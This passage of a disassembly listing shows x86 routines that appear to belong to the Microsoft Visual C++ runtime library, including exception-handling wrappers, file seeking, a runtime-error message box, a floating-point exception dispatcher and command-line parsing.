		pop	ecx
		jmp	short loc_41D430
; ---------------------------------------------------------------------------


loc_41D42D:				; CODE XREF: sub_41D2FB+71j
		mov	[ebp+var_1C], edi


loc_41D430:				; CODE XREF: sub_41D2FB+11Fj
					; sub_41D2FB+127j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D442
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41D2FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D442	proc near		; CODE XREF: sub_41D2FB+139p
					; DATA XREF: .text:stru_42C620o
		push	0Dh
		call	sub_41A0D2
		pop	ecx
		retn
sub_41D442	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D44B	proc near		; CODE XREF: sub_41DC0B+9p
					; sub_41DC74+Dp ...
		cmp	dword_482978, 0
		jnz	short loc_41D466
		push	0FFFFFFFDh
		call	sub_41D2FB
		pop	ecx
		mov	dword_482978, 1


loc_41D466:				; CODE XREF: sub_41D44B+7j
		xor	eax, eax
		retn
sub_41D44B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D469	proc near		; CODE XREF: sub_41802F+2Cp
					; sub_41802F+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		call	sub_41915F
		mov	eax, [eax+60h]
		cmp	eax, dword_4816E4
		jz	short loc_41D488
		call	sub_41D0F6


loc_41D488:				; CODE XREF: sub_41D469+18j
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D49F
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_4169C0
		add	esp, 0Ch
		jmp	short loc_41D4E7
; ---------------------------------------------------------------------------


loc_41D49F:				; CODE XREF: sub_41D469+23j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41D4E4
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]


loc_41D4AB:				; CODE XREF: sub_41D469+89j
		mov	dl, [esi]
		movzx	ebx, dl
		dec	ecx
		test	byte ptr [ebx+eax+1Dh],	4
		mov	[edi], dl
		jz	short loc_41D4EA
		inc	edi
		inc	esi
		test	ecx, ecx
		jz	short loc_41D4F6
		mov	dl, [esi]
		dec	ecx
		mov	[edi], dl
		inc	edi
		inc	esi
		test	dl, dl
		jnz	short loc_41D4F0
		and	[edi-2], dl


loc_41D4CE:				; CODE XREF: sub_41D469+85j
		test	ecx, ecx
		jz	short loc_41D4E2
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41D4E2:				; CODE XREF: sub_41D469+67j
					; sub_41D469+8Bj ...
		pop	esi
		pop	ebx


loc_41D4E4:				; CODE XREF: sub_41D469+3Bj
		mov	eax, [ebp+arg_0]


loc_41D4E7:				; CODE XREF: sub_41D469+34j
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D4EA:				; CODE XREF: sub_41D469+4Fj
		inc	edi
		inc	esi
		test	dl, dl
		jz	short loc_41D4CE


loc_41D4F0:				; CODE XREF: sub_41D469+60j
		test	ecx, ecx
		jnz	short loc_41D4AB
		jmp	short loc_41D4E2
; ---------------------------------------------------------------------------


loc_41D4F6:				; CODE XREF: sub_41D469+55j
		and	byte ptr [edi-1], 0
		jmp	short loc_41D4E2
sub_41D469	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4FC	proc near		; CODE XREF: sub_41D5A4+18p
		push	esi
		push	dword_482974
		call	sub_420705
		pop	ecx
		mov	ecx, dword_482970
		mov	esi, eax
		mov	eax, dword_482974
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_41D56F
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_41D52C
		mov	ecx, esi


loc_41D52C:				; CODE XREF: sub_41D4FC+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_416F93
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41D552
		add	esi, 10h
		push	esi
		push	dword_482974
		call	sub_416F93
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41D552
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D552:				; CODE XREF: sub_41D4FC+3Dj
					; sub_41D4FC+52j
		mov	ecx, dword_482970
		sub	ecx, dword_482974
		mov	dword_482974, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_482970, ecx


loc_41D56F:				; CODE XREF: sub_41D4FC+23j
		mov	[ecx], edi
		add	dword_482970, 4
		mov	eax, edi
		pop	esi
		retn
sub_41D4FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D57C	proc near		; DATA XREF: .text:0042E018o
		push	80h
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		mov	dword_482974, eax
		jnz	short loc_41D594
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D594:				; CODE XREF: sub_41D57C+12j
		and	dword ptr [eax], 0
		mov	eax, dword_482974
		mov	dword_482970, eax
		xor	eax, eax
		retn
sub_41D57C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A4	proc near		; CODE XREF: sub_41D5DC+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_42C630
		call	__SEH_prolog
		call	loc_418269
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_0]
		call	sub_41D4FC
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D5D6
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41D5A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5D6	proc near		; CODE XREF: sub_41D5A4+24p
					; DATA XREF: .text:stru_42C630o
		call	sub_418272
		retn
sub_41D5D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5DC	proc near		; CODE XREF: sub_41827B+3Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D5A4
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_41D5DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5EE	proc near		; CODE XREF: .text:loc_41871Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_42C640
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_42CE54


loc_41D601:				; CODE XREF: sub_41D5EE+3Cj
		cmp	[ebp+var_1C], offset dword_42CE54
		jnb	short loc_41D62C
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41D622
		call	eax
		jmp	short loc_41D622
; ---------------------------------------------------------------------------


loc_41D61B:				; DATA XREF: .text:stru_42C640o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D61F:				; DATA XREF: .text:stru_42C640o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41D622:				; CODE XREF: sub_41D5EE+27j
					; sub_41D5EE+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_41D601
; ---------------------------------------------------------------------------


loc_41D62C:				; CODE XREF: sub_41D5EE+1Aj
		call	__SEH_epilog
		retn
sub_41D5EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D632	proc near		; DATA XREF: sub_41827B:loc_4182B1o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_42C650
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_42CE5C


loc_41D645:				; CODE XREF: sub_41D632+3Cj
		cmp	[ebp+var_1C], offset dword_42CE5C
		jnb	short loc_41D670
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41D666
		call	eax
		jmp	short loc_41D666
; ---------------------------------------------------------------------------


loc_41D65F:				; DATA XREF: .text:stru_42C650o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D663:				; DATA XREF: .text:stru_42C650o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41D666:				; CODE XREF: sub_41D632+27j
					; sub_41D632+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D670:				; CODE XREF: sub_41D632+1Aj
		call	__SEH_epilog
		retn
sub_41D632	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D676	proc near		; CODE XREF: sub_41B217+18Bp
					; sub_41D6EA+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41F50B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41D697
		call	sub_41B935
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D697:				; CODE XREF: sub_41D676+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	dword_422090	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41D6B8
		call	dword_422004	; RtlGetLastWin32Error
		jmp	short loc_41D6BA
; ---------------------------------------------------------------------------


loc_41D6B8:				; CODE XREF: sub_41D676+38j
		xor	eax, eax


loc_41D6BA:				; CODE XREF: sub_41D676+40j
		test	eax, eax
		jz	short loc_41D6CA
		push	eax
		call	sub_41B947
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D6E7
; ---------------------------------------------------------------------------


loc_41D6CA:				; CODE XREF: sub_41D676+46j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		mov	eax, esi
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi


loc_41D6E7:				; CODE XREF: sub_41D676+52j
		pop	edi
		pop	esi
		retn
sub_41D676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6EA	proc near		; CODE XREF: sub_4184E8+69p
					; sub_418805+D0p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041D779 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_42C660
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_4815D0
		jnb	short loc_41D779
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41D779
		push	ebx
		call	sub_41F54C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41D749
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D676
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41D760
; ---------------------------------------------------------------------------


loc_41D749:				; CODE XREF: sub_41D6EA+49j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41D760:				; CODE XREF: sub_41D6EA+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D771
		mov	eax, [ebp+var_1C]
		jmp	short loc_41D78F
sub_41D6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D76E	proc near		; DATA XREF: .text:stru_42C660o
		mov	ebx, [ebp+8]
sub_41D76E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D771	proc near		; CODE XREF: sub_41D6EA+7Ap
		push	ebx
		call	sub_41F5BF
		pop	ecx
		retn
sub_41D771	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D6EA


loc_41D779:				; CODE XREF: sub_41D6EA+15j
					; sub_41D6EA+35j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41D78F:				; CODE XREF: sub_41D6EA+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41D6EA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D795	proc near		; CODE XREF: sub_4184E8+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41D7B1
		mov	[edi+4], ebx


loc_41D7B1:				; CODE XREF: sub_41D795+17j
		push	1
		push	ebx
		push	esi
		call	sub_41D6EA
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41D832
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_41D7D6
		sub	eax, [edi+4]
		jmp	loc_41D8F2
; ---------------------------------------------------------------------------


loc_41D7D6:				; CODE XREF: sub_41D795+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41D823
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		mov	ebx, dword_4815E0[ebx*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_41D815
		mov	ecx, edx
		cmp	ecx, eax
		jnb	short loc_41D815


loc_41D808:				; CODE XREF: sub_41D795+7Ej
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_41D810
		inc	[ebp+var_8]


loc_41D810:				; CODE XREF: sub_41D795+76j
		inc	ecx
		cmp	ecx, [edi]
		jb	short loc_41D808


loc_41D815:				; CODE XREF: sub_41D795+6Bj
					; sub_41D795+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41D83A
		mov	eax, [ebp+var_8]
		jmp	loc_41D8F2
; ---------------------------------------------------------------------------


loc_41D823:				; CODE XREF: sub_41D795+50j
		test	cl, cl
		js	short loc_41D815
		call	sub_41B935
		mov	dword ptr [eax], 16h


loc_41D832:				; CODE XREF: sub_41D795+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41D8F2
; ---------------------------------------------------------------------------


loc_41D83A:				; CODE XREF: sub_41D795+84j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41D8EA
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_41D853
		and	[ebp+var_8], ecx
		jmp	loc_41D8EA
; ---------------------------------------------------------------------------


loc_41D853:				; CODE XREF: sub_41D795+B4j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:4815E0h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41D8E4
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41D6EA
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41D8AB
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		jmp	short loc_41D8A1
; ---------------------------------------------------------------------------


loc_41D898:				; CODE XREF: sub_41D795+10Ej
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41D8A0
		inc	[ebp+arg_0]


loc_41D8A0:				; CODE XREF: sub_41D795+106j
		inc	eax


loc_41D8A1:				; CODE XREF: sub_41D795+101j
		cmp	eax, ecx
		jb	short loc_41D898
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41D8DF
; ---------------------------------------------------------------------------


loc_41D8AB:				; CODE XREF: sub_41D795+F7j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41D6EA
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41D8D2
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41D8D2
		test	ch, 4
		jz	short loc_41D8D5


loc_41D8D2:				; CODE XREF: sub_41D795+12Ej
					; sub_41D795+136j
		mov	eax, [edi+18h]


loc_41D8D5:				; CODE XREF: sub_41D795+13Bj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41D8DF:				; CODE XREF: sub_41D795+114j
		jz	short loc_41D8E4
		inc	[ebp+arg_0]


loc_41D8E4:				; CODE XREF: sub_41D795+E3j
					; sub_41D795:loc_41D8DFj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41D8EA:				; CODE XREF: sub_41D795+A9j
					; sub_41D795+B9j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41D8F2:				; CODE XREF: sub_41D795+3Cj
					; sub_41D795+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D795	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D8F7	proc near		; CODE XREF: sub_4185EA+12p
					; sub_41860F+12p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax


loc_41D915:				; CODE XREF: sub_41D8F7+2Bj
		cmp	ecx, dword_432B58[eax*8]
		jz	short loc_41D924
		inc	eax
		cmp	eax, 12h
		jb	short loc_41D915


loc_41D924:				; CODE XREF: sub_41D8F7+25j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_432B58[esi]
		jnz	loc_41DA58
		mov	eax, dword_4811B0
		cmp	eax, 1
		jz	loc_41DA33
		cmp	eax, edx
		jnz	short loc_41D954
		cmp	dword_432364, 1
		jz	loc_41DA33


loc_41D954:				; CODE XREF: sub_41D8F7+4Ej
		cmp	ecx, 0FCh
		jz	loc_41DA58
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	edx
		mov	[ebp+var_8], dl
		call	dword_42200C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41D98D
		lea	eax, [ebp+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx


loc_41D98D:				; CODE XREF: sub_41D8F7+81j
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edi, [ebp+var_10C]
		call	sub_419D00
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_41D9CF
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_419D00
		mov	edi, eax
		lea	eax, [ebp+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_4169C0
		add	esp, 10h


loc_41D9CF:				; CODE XREF: sub_41D8F7+ADj
		push	edi
		call	sub_419D00
		push	off_432B5C[esi]
		mov	ebx, eax
		call	sub_419D00
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_41BF70
		push	edi
		push	ebx
		call	sub_41BF80
		push	offset asc_42C990 ; "\n\n"
		push	ebx
		call	sub_41BF80
		push	off_432B5C[esi]
		push	ebx
		call	sub_41BF80
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_42077B
		add	esp, 2Ch
		jmp	short loc_41DA58
; ---------------------------------------------------------------------------


loc_41DA33:				; CODE XREF: sub_41D8F7+46j
					; sub_41D8F7+57j
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	esi, off_432B5C[esi]
		push	dword ptr [esi]
		call	sub_419D00
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_4221B8	; GetStdHandle
		push	eax
		call	dword_422030	; WriteFile


loc_41DA58:				; CODE XREF: sub_41D8F7+38j
					; sub_41D8F7+63j ...
		lea	esp, [ebp-118h]
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_41C526
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D8F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA6E	proc near		; CODE XREF: sub_4185EA+9p
					; sub_41860F+9p
		mov	eax, dword_4811B0
		cmp	eax, 1
		jz	short loc_41DA85
		test	eax, eax
		jnz	short locret_41DAA6
		cmp	dword_432364, 1
		jnz	short locret_41DAA6


loc_41DA85:				; CODE XREF: sub_41DA6E+8j
		push	0FCh
		call	sub_41D8F7
		mov	eax, dword_48132C
		test	eax, eax
		pop	ecx
		jz	short loc_41DA9B
		call	eax


loc_41DA9B:				; CODE XREF: sub_41DA6E+29j
		push	0FFh
		call	sub_41D8F7
		pop	ecx

locret_41DAA6:				; CODE XREF: sub_41DA6E+Cj
					; sub_41DA6E+15j
		retn
sub_41DA6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAA7	proc near		; CODE XREF: .text:004187D7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_41915F
		mov	edi, [ebp+arg_0]
		mov	esi, eax
		mov	edx, [esi+54h]
		mov	eax, dword_432C6C
		mov	ecx, edx


loc_41DAC2:				; CODE XREF: sub_41DAA7+2Aj
		cmp	[ecx], edi
		jz	short loc_41DAD3
		lea	ebx, [eax+eax*2]
		add	ecx, 0Ch
		lea	ebx, [edx+ebx*4]
		cmp	ecx, ebx
		jb	short loc_41DAC2


loc_41DAD3:				; CODE XREF: sub_41DAA7+1Dj
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	ecx, eax
		jnb	short loc_41DAE1
		cmp	[ecx], edi
		jz	short loc_41DAE3


loc_41DAE1:				; CODE XREF: sub_41DAA7+34j
		xor	ecx, ecx


loc_41DAE3:				; CODE XREF: sub_41DAA7+38j
		test	ecx, ecx
		jz	loc_41DBFD
		mov	ebx, [ecx+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_41DBFD
		cmp	ebx, 5
		jnz	short loc_41DB0A
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_41DC06
; ---------------------------------------------------------------------------


loc_41DB0A:				; CODE XREF: sub_41DAA7+55j
		cmp	ebx, 1
		jz	loc_41DBF8
		mov	eax, [esi+58h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+58h], eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_41DBEA
		mov	edx, dword_432C60
		mov	eax, dword_432C64
		add	eax, edx
		cmp	edx, eax
		jge	short loc_41DB63
		lea	eax, [edx+edx*2]
		shl	eax, 2


loc_41DB42:				; CODE XREF: sub_41DAA7+B7j
		mov	edi, [esi+54h]
		and	dword ptr [eax+edi+8], 0
		mov	edi, dword_432C60
		mov	ebx, dword_432C64
		inc	edx
		add	ebx, edi
		add	eax, 0Ch
		cmp	edx, ebx
		jl	short loc_41DB42
		mov	ebx, [ebp+arg_0]


loc_41DB63:				; CODE XREF: sub_41DAA7+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	edi, [esi+5Ch]
		jnz	short loc_41DB79
		mov	dword ptr [esi+5Ch], 83h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DB79:				; CODE XREF: sub_41DAA7+C7j
		cmp	ecx, 0C0000090h
		jnz	short loc_41DB8A
		mov	dword ptr [esi+5Ch], 81h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DB8A:				; CODE XREF: sub_41DAA7+D8j
		cmp	ecx, 0C0000091h
		jnz	short loc_41DB9B
		mov	dword ptr [esi+5Ch], 84h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DB9B:				; CODE XREF: sub_41DAA7+E9j
		cmp	ecx, 0C0000093h
		jnz	short loc_41DBAC
		mov	dword ptr [esi+5Ch], 85h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DBAC:				; CODE XREF: sub_41DAA7+FAj
		cmp	ecx, 0C000008Dh
		jnz	short loc_41DBBD
		mov	dword ptr [esi+5Ch], 82h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DBBD:				; CODE XREF: sub_41DAA7+10Bj
		cmp	ecx, 0C000008Fh
		jnz	short loc_41DBCE
		mov	dword ptr [esi+5Ch], 86h
		jmp	short loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DBCE:				; CODE XREF: sub_41DAA7+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_41DBDD
		mov	dword ptr [esi+5Ch], 8Ah


loc_41DBDD:				; CODE XREF: sub_41DAA7+D0j
					; sub_41DAA7+E1j ...
		push	dword ptr [esi+5Ch]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+5Ch], edi
		jmp	short loc_41DBF1
; ---------------------------------------------------------------------------


loc_41DBEA:				; CODE XREF: sub_41DAA7+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx


loc_41DBF1:				; CODE XREF: sub_41DAA7+141j
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	[esi+58h], eax


loc_41DBF8:				; CODE XREF: sub_41DAA7+66j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DC06
; ---------------------------------------------------------------------------


loc_41DBFD:				; CODE XREF: sub_41DAA7+3Ej
					; sub_41DAA7+4Cj
		push	[ebp+arg_4]
		call	dword_4221BC	; UnhandledExceptionFilter


loc_41DC06:				; CODE XREF: sub_41DAA7+5Ej
					; sub_41DAA7+154j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC0B	proc near		; CODE XREF: .text:0041878Fp
		cmp	dword_482978, 0
		jnz	short loc_41DC19
		call	sub_41D44B


loc_41DC19:				; CODE XREF: sub_41DC0B+7j
		push	esi
		mov	esi, dword_482968
		test	esi, esi
		jnz	short loc_41DC2B
		mov	esi, 422B0Ah
		jmp	short loc_41DC70
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DC0B+17j
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41DC59
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_41DC69


loc_41DC38:				; CODE XREF: sub_41DC0B+45j
		test	al, al
		jz	short loc_41DC52
		movzx	eax, al
		push	eax
		call	sub_4208A5
		test	eax, eax
		pop	ecx
		jz	short loc_41DC4B
		inc	esi


loc_41DC4B:				; CODE XREF: sub_41DC0B+3Dj
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41DC38


loc_41DC52:				; CODE XREF: sub_41DC0B+2Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_41DC6A
		jmp	short loc_41DC69
; ---------------------------------------------------------------------------


loc_41DC59:				; CODE XREF: sub_41DC0B+24j
		cmp	al, 20h
		jbe	short loc_41DC6A


loc_41DC5D:				; CODE XREF: sub_41DC0B+56j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41DC5D
		jmp	short loc_41DC6A
; ---------------------------------------------------------------------------


loc_41DC65:				; CODE XREF: sub_41DC0B+63j
		cmp	al, 20h
		ja	short loc_41DC70


loc_41DC69:				; CODE XREF: sub_41DC0B+2Bj
					; sub_41DC0B+4Cj
		inc	esi


loc_41DC6A:				; CODE XREF: sub_41DC0B+4Aj
					; sub_41DC0B+50j ...
		mov	al, [esi]
		test	al, al
		jnz	short loc_41DC65


loc_41DC70:				; CODE XREF: sub_41DC0B+1Ej
					; sub_41DC0B+5Cj
		mov	eax, esi
		pop	esi
		retn
sub_41DC0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC74	proc near		; CODE XREF: .text:loc_41875Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_482978, ebx
		push	esi
		push	edi
		jnz	short loc_41DC86
		call	sub_41D44B


loc_41DC86:				; CODE XREF: sub_41DC74+Bj
		mov	esi, dword_4811A8
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_41DCA4
		jmp	short loc_41DCC4
; ---------------------------------------------------------------------------


